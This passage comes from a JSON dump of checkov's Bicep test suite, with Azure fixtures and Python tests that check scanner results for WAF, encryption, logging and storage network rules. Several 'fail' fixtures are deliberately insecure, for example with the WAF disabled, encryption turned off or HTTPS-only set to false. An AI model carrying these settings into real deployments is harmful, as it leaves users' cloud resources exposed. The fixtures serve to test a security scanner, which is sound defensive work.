frontendEndpoints: [\n            {\n              id: resourceId('Microsoft.Network/frontDoors/frontEndEndpoints', frontDoorName, frontEndEndpointName)\n            }\n          ]\n          acceptedProtocols: [\n            'Http'\n            'Https'\n          ]\n          patternsToMatch: [\n            '/*'\n          ]\n          routeConfiguration: {\n            '@odata.type': '#Microsoft.Azure.FrontDoor.Models.FrontdoorForwardingConfiguration'\n            forwardingProtocol: 'MatchRequest'\n            backendPool: {\n              id: resourceId('Microsoft.Network/frontDoors/backEndPools', frontDoorName, backendPoolName)\n            }\n          }\n          enabledState: 'Enabled'\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_AzureFrontDoorEnablesWAF/pass.bicep",
    "content": "@description('The name of the frontdoor resource.')\nparam frontDoorName string\n\n@description('The hostname of the backend. Must be an IP address or FQDN.')\nparam backendAddress string\n\nvar frontEndEndpointName = 'frontEndEndpoint'\nvar loadBalancingSettingsName = 'loadBalancingSettings'\nvar healthProbeSettingsName = 'healthProbeSettings'\nvar routingRuleName = 'routingRule'\nvar backendPoolName = 'backendPool'\n\nresource pass 'Microsoft.Network/frontDoors@2020-05-01' = {\n  name: 'pass'\n  location: 'global'\n  properties: {\n    enabledState: 'Enabled'\n    frontendEndpoints: [\n      {\n        name: frontEndEndpointName\n        properties: {\n          hostName: '${frontDoorName}.azurefd.net'\n          webApplicationFirewallPolicyLink: {\n            id: 'anythingyoulike'\n          }\n          sessionAffinityEnabledState: 'Disabled'\n        }\n      }\n    ]\n    loadBalancingSettings: [\n      {\n        name: loadBalancingSettingsName\n        properties: {\n          sampleSize: 4\n          successfulSamplesRequired: 2\n        }\n      }\n    ]\n    healthProbeSettings: [\n      {\n        name: healthProbeSettingsName\n        properties: {\n          path: '/'\n          protocol: 'Http'\n          intervalInSeconds: 120\n        }\n      }\n    ]\n    backendPools: [\n      {\n        name: backendPoolName\n        properties: {\n          backends: [\n            {\n              address: backendAddress\n              backendHostHeader: backendAddress\n              httpPort: 80\n              httpsPort: 443\n              weight: 50\n              priority: 1\n              enabledState: 'Enabled'\n            }\n          ]\n          loadBalancingSettings: {\n            id: resourceId('Microsoft.Network/frontDoors/loadBalancingSettings', frontDoorName, loadBalancingSettingsName)\n          }\n          healthProbeSettings: {\n            id: resourceId('Microsoft.Network/frontDoors/healthProbeSettings', frontDoorName, healthProbeSettingsName)\n          }\n        }\n      }\n    ]\n    routingRules: [\n      {\n        name: routingRuleName\n        properties: {\n          frontendEndpoints: [\n            {\n              id: resourceId('Microsoft.Network/frontDoors/frontEndEndpoints', frontDoorName, frontEndEndpointName)\n            }\n          ]\n          acceptedProtocols: [\n            'Http'\n            'Https'\n          ]\n          patternsToMatch: [\n            '/*'\n          ]\n          routeConfiguration: {\n            '@odata.type': '#Microsoft.Azure.FrontDoor.Models.FrontdoorForwardingConfiguration'\n            forwardingProtocol: 'MatchRequest'\n            backendPool: {\n              id: resourceId('Microsoft.Network/frontDoors/backEndPools', frontDoorName, backendPoolName)\n            }\n          }\n          enabledState: 'Enabled'\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_AzureManagedDiscEncryption/main.bicep",
    "content": "// pass\n\nresource enabled 'Microsoft.Compute/disks@2021-12-01' = {\n  name: '${name}-disk-${env}'\n  location: location\n  sku: {\n    name: 'Standard_LRS'\n  }\n\n  properties: {\n    diskSizeGB: 10\n    encryptionSettingsCollection: {\n      enabled: true\n      encryptionSettings: [\n        {\n          diskEncryptionKey: {\n            secretUrl: secretUrl\n            sourceVault: {\n              id: vault.id\n            }\n          }\n        }\n      ]\n    }\n  }\n}\n\n// fail\n\nresource disabled 'Microsoft.Compute/disks@2021-12-01' = {\n  name: '${name}-disk-${env}'\n  location: location\n  sku: {\n    name: 'Standard_LRS'\n  }\n\n  properties: {\n    diskSizeGB: 10\n    encryptionSettingsCollection: {\n      enabled: false\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_FrontdoorUseWAFMode/example_FrontdoorUseWAFMode-FAILED.bicep",
    "content": "resource fail 'Microsoft.Network/FrontDoorWebApplicationFirewallPolicies@2022-05-01' = {\n  name: 'fail'\n  location: 'Global'\n  sku: {\n    name: 'Premium_AzureFrontDoor'\n  }\n  properties: {\n    managedRules: {\n      managedRuleSets: [\n        {\n          ruleSetType: 'Microsoft_DefaultRuleSet'\n          ruleSetVersion: '2.0'\n          ruleSetAction: 'Block'\n          exclusions: []\n          ruleGroupOverrides: []\n        }\n        {\n          ruleSetType: 'Microsoft_BotManagerRuleSet'\n          ruleSetVersion: '1.0'\n          ruleSetAction: 'Block'\n          exclusions: []\n          ruleGroupOverrides: []\n        }\n      ]\n    }\n    policySettings: {\n      enabledState: 'Disabled'\n      mode: 'Prevention'\n    }\n  }\n}"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_FrontdoorUseWAFMode/example_FrontdoorUseWAFMode-PASSED.bicep",
    "content": "resource pass 'Microsoft.Network/FrontDoorWebApplicationFirewallPolicies@2022-05-01' = {\n  name: 'pass'\n  location: 'Global'\n  sku: {\n    name: 'Premium_AzureFrontDoor'\n  }\n  properties: {\n    managedRules: {\n      managedRuleSets: [\n        {\n          ruleSetType: 'Microsoft_DefaultRuleSet'\n          ruleSetVersion: '2.0'\n          ruleSetAction: 'Block'\n          exclusions: []\n          ruleGroupOverrides: []\n        }\n        {\n          ruleSetType: 'Microsoft_BotManagerRuleSet'\n          ruleSetVersion: '1.0'\n          ruleSetAction: 'Block'\n          exclusions: []\n          ruleGroupOverrides: []\n        }\n      ]\n    }\n    policySettings: {\n      enabledState: 'Enabled'\n      mode: 'Prevention'\n    }\n  }\n}"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_MonitorLogProfileCategories/main.bicep",
    "content": "// pass\n\nresource pass 'Microsoft.Insights/logprofiles@2016-03-01' = {\n  name: 'example'\n  location: location\n\n  properties: {\n    categories: [\n      'Action'\n      'Delete'\n      'Write'\n    ]\n    locations: [\n      'global'\n    ]\n    retentionPolicy: {\n      days: 30\n      enabled: true\n    }\n  }\n}\n\n// fail\n\nresource fail 'Microsoft.Insights/logprofiles@2016-03-01' = {\n  name: 'example'\n  location: location\n\n  properties: {\n    categories: [\n      'Action'\n    ]\n    locations: [\n      'global'\n    ]\n    retentionPolicy: {\n      days: 30\n      enabled: true\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_MonitorLogProfileRetentionDays/main.bicep",
    "content": "// pass\n\nresource enabled 'Microsoft.Insights/logprofiles@2016-03-01' = {\n  name: 'example'\n  location: location\n\n  properties: {\n    categories: [\n      'Action'\n    ]\n    locations: [\n      'global'\n    ]\n    retentionPolicy: {\n      days: 365\n      enabled: true\n    }\n  }\n}\n\n// fail\n\nresource disabled 'Microsoft.Insights/logprofiles@2016-03-01' = {\n  name: 'example'\n  location: location\n\n  properties: {\n    categories: [\n      'Action'\n    ]\n    locations: [\n      'global'\n    ]\n    retentionPolicy: {\n      days: 30\n      enabled: false\n    }\n  }\n}\n\nresource low 'Microsoft.Insights/logprofiles@2016-03-01' = {\n  name: 'example'\n  location: location\n\n  properties: {\n    categories: [\n      'Action'\n    ]\n    locations: [\n      'global'\n    ]\n    retentionPolicy: {\n      days: 30\n      enabled: true\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_StorageAccountAzureServicesAccessEnabled/main.bicep",
    "content": "// pass\n\nresource default 'Microsoft.Storage/storageAccounts@2019-06-01' = {\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n}\n\nresource allowAll 'Microsoft.Storage/storageAccounts@2019-06-01' = {\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n\n  properties: {\n    networkAcls: {\n      defaultAction: 'Allow'\n    }\n  }\n}\n\nresource denyAndBypass 'Microsoft.Storage/storageAccounts@2019-06-01' = {\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n\n  properties: {\n    networkAcls: {\n      bypass: 'Logging'\n      defaultAction: 'Deny'\n    }\n  }\n}\n\n// fail\n\nresource deny 'Microsoft.Storage/storageAccounts@2019-06-01' = {\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n\n  properties: {\n    networkAcls: {\n      defaultAction: 'Deny'\n    }\n  }\n}\n\nresource denyAndBypassNone 'Microsoft.Storage/storageAccounts@2019-06-01' = {\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n\n  properties: {\n    networkAcls: {\n      bypass: 'None'\n      defaultAction: 'Deny'\n    }\n  }\n}\n\n// unknown\n\nresource unknown 'Microsoft.Storage/storageAccounts@2019-06-01' = {\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n\n  properties: storageAccountProperties\n}\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_StorageAccountDefaultNetworkAccessDeny/main.bicep",
    "content": "// pass\n\nresource deny 'Microsoft.Storage/storageAccounts@2019-06-01' = {\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n\n  properties: {\n    networkAcls: {\n      defaultAction: 'Deny'\n    }\n  }\n}\n\n// fail\n\nresource default 'Microsoft.Storage/storageAccounts@2019-06-01' = {\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n}\n\nresource allow 'Microsoft.Storage/storageAccounts@2019-06-01' = {\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n\n  properties: {\n    networkAcls: {\n      defaultAction: 'Allow'\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_StorageAccountsTransportEncryption/main.bicep",
    "content": "// pass\n\nresource default2019 'Microsoft.Storage/storageAccounts@2019-06-01' = {\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n}\n\nresource enabled 'Microsoft.Storage/storageAccounts@2018-11-01' = {\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n\n  properties: {\n    supportsHttpsTrafficOnly: true\n  }\n}\n\n// fail\n\nresource default2018 'Microsoft.Storage/storageAccounts@2018-11-01' = {\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n}\n\nresource disabled 'Microsoft.Storage/storageAccounts@2019-06-01' = {\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n\n  properties: {\n    supportsHttpsTrafficOnly: false\n  }\n}\n\n// unknown\n\nresource unknown 'Microsoft.Storage/storageAccounts@2019-06-01' = {\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n\n  properties: storageAccountProperties\n}\n\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/example_VMEncryptionAtHostEnabled/main.bicep",
    "content": "// pass\n\nresource enabled 'Microsoft.Compute/virtualMachines@2021-11-01' = {\n  name: virtualMachineName\n  location: location\n  properties: {\n    securityProfile: {\n      encryptionAtHost: true\n    }\n  }\n}\n\n// fail\n\nresource disabled 'Microsoft.Compute/virtualMachines@2021-11-01' = {\n  name: virtualMachineName\n  location: location\n  properties: {\n    securityProfile: {\n      encryptionAtHost: false\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/test_AKSApiServerAuthorizedIpRanges.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.arm.checks.resource.AKSApiServerAuthorizedIpRanges import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_AKSApiServerAuthorizedIpRanges\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"Microsoft.ContainerService/managedClusters.enabled\",\n    }\n\n    failing_resources = {\n        \"Microsoft.ContainerService/managedClusters.default\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/test_AKSDashboardDisabled.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.arm.checks.resource.AKSDashboardDisabled import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_AKSDashboardDisabled\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"Microsoft.ContainerService/managedClusters.enabled\",\n    }\n\n    failing_resources = {\n        \"Microsoft.ContainerService/managedClusters.default\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/test_AKSLoggingEnabled.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.arm.checks.resource.AKSLoggingEnabled import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_AKSLoggingEnabled\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"Microsoft.ContainerService/managedClusters.enabled\",\n        \"Microsoft.ContainerService/managedClusters.enabledCamelCase\",\n    }\n\n    failing_resources = {\n        \"Microsoft.ContainerService/managedClusters.default\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/test_AKSNetworkPolicy.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.arm.checks.resource.AKSNetworkPolicy import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_AKSNetworkPolicy\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"Microsoft.ContainerService/managedClusters.enabled\",\n    }\n\n    failing_resources = {\n        \"Microsoft.ContainerService/managedClusters.default\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/test_AKSRbacEnabled.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.arm.checks.resource.AKSRbacEnabled import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_AKSRbacEnabled\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"Microsoft.ContainerService/managedClusters.enabled\",\n    }\n\n    failing_resources = {\n        \"Microsoft.ContainerService/managedClusters.default\",\n        \"Microsoft.ContainerService/managedClusters.disabled\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/test_AzureFirewallDenyThreatIntelMode.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.arm.checks.resource.AzureFirewallDenyThreatIntelMode import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_AzureFirewallDenyThreatIntelMode\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"Microsoft.Network/azureFirewalls.pass\",\n    }\n    failing_resources = {\n        \"Microsoft.Network/azureFirewalls.fail\",\n        \"Microsoft.Network/azureFirewalls.fail2\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passing_resources == passed_check_resources\n    assert failing_resources == failed_check_resources\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/test_AzureFrontDoorEnablesWAF.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.arm.checks.resource.AzureFrontDoorEnablesWAF import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_AzureFrontDoorEnablesWAF\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"Microsoft.Network/frontDoors.pass\",\n    }\n    failing_resources = {\n        \"Microsoft.Network/frontDoors.fail\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/test_AzureManagedDiscEncryption.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.arm.checks.resource.AzureManagedDiscEncryption import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_AzureManagedDiscEncryption\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"Microsoft.Compute/disks.enabled\",\n    }\n\n    failing_resources = {\n        \"Microsoft.Compute/disks.disabled\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 1\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/test_FrontdoorUseWAFMode.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.arm.checks.resource.FrontdoorUseWAFMode import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_FrontdoorUseWAFMode\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"Microsoft.Network/FrontDoorWebApplicationFirewallPolicies.pass\",\n    }\n    failing_resources = {\n        \"Microsoft.Network/FrontDoorWebApplicationFirewallPolicies.fail\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 1\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/test_MonitorLogProfileCategories.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.arm.checks.resource.MonitorLogProfileCategories import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_MonitorLogProfileCategories\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"Microsoft.Insights/logprofiles.pass\",\n    }\n\n    failing_resources = {\n        \"Microsoft.Insights/logprofiles.fail\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 1\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/test_MonitorLogProfileRetentionDays.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.arm.checks.resource.MonitorLogProfileRetentionDays import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_MonitorLogProfileRetentionDays\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"Microsoft.Insights/logprofiles.enabled\",\n    }\n\n    failing_resources = {\n        \"Microsoft.Insights/logprofiles.disabled\",\n        \"Microsoft.Insights/logprofiles.low\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 2\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/test_StorageAccountAzureServicesAccessEnabled.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.bicep.checks.resource.azure.StorageAccountAzureServicesAccessEnabled import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_StorageAccountAzureServicesAccessEnabled\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"Microsoft.Storage/storageAccounts.allowAll\",\n        \"Microsoft.Storage/storageAccounts.default\",\n        \"Microsoft.Storage/storageAccounts.denyAndBypass\",\n    }\n\n    failing_resources = {\n        \"Microsoft.Storage/storageAccounts.deny\",\n        \"Microsoft.Storage/storageAccounts.denyAndBypassNone\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n    assert summary[\"resource_count\"] == len(passing_resources) + len(failing_resources) + 1  # unknown\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/test_StorageAccountDefaultNetworkAccessDeny.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.bicep.checks.resource.azure.StorageAccountDefaultNetworkAccessDeny import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_StorageAccountDefaultNetworkAccessDeny\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"Microsoft.Storage/storageAccounts.deny\",\n    }\n\n    failing_resources = {\n        \"Microsoft.Storage/storageAccounts.default\",\n        \"Microsoft.Storage/storageAccounts.allow\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 2\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/test_StorageAccountsTransportEncryption.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.bicep.checks.resource.azure.StorageAccountsTransportEncryption import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_StorageAccountsTransportEncryption\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"Microsoft.Storage/storageAccounts.default2019\",\n        \"Microsoft.Storage/storageAccounts.enabled\",\n    }\n\n    failing_resources = {\n        \"Microsoft.Storage/storageAccounts.default2018\",\n        \"Microsoft.Storage/storageAccounts.disabled\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n    assert summary[\"resource_count\"] == len(passing_resources) + len(failing_resources) + 1  # unknown\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/bicep/checks/resource/azure/test_VMEncryptionAtHostEnabled.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.arm.checks.resource.VMEncryptionAtHostEnabled import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_VMEncryptionAtHostEnabled\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        \"Microsoft.Compute/virtualMachines.enabled\",\n    }\n\n    failing_resources = {\n        \"Microsoft.Compute/virtualMachines.disabled\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/bicep/examples/existing.bicep",
    "content": "// should not flag an existing resource for any check\nresource storageAccountExisting 'Microsoft.Storage/storageAccounts@2021-08-01' existing = {\n  name: 'existing'\n}\n\nresource storageAccount 'Microsoft.Storage/storageAccounts@2021-08-01' = {\n  name: 'new'\n}\n"
  },
  {
    "path": "tests/bicep/examples/graph.bicep",
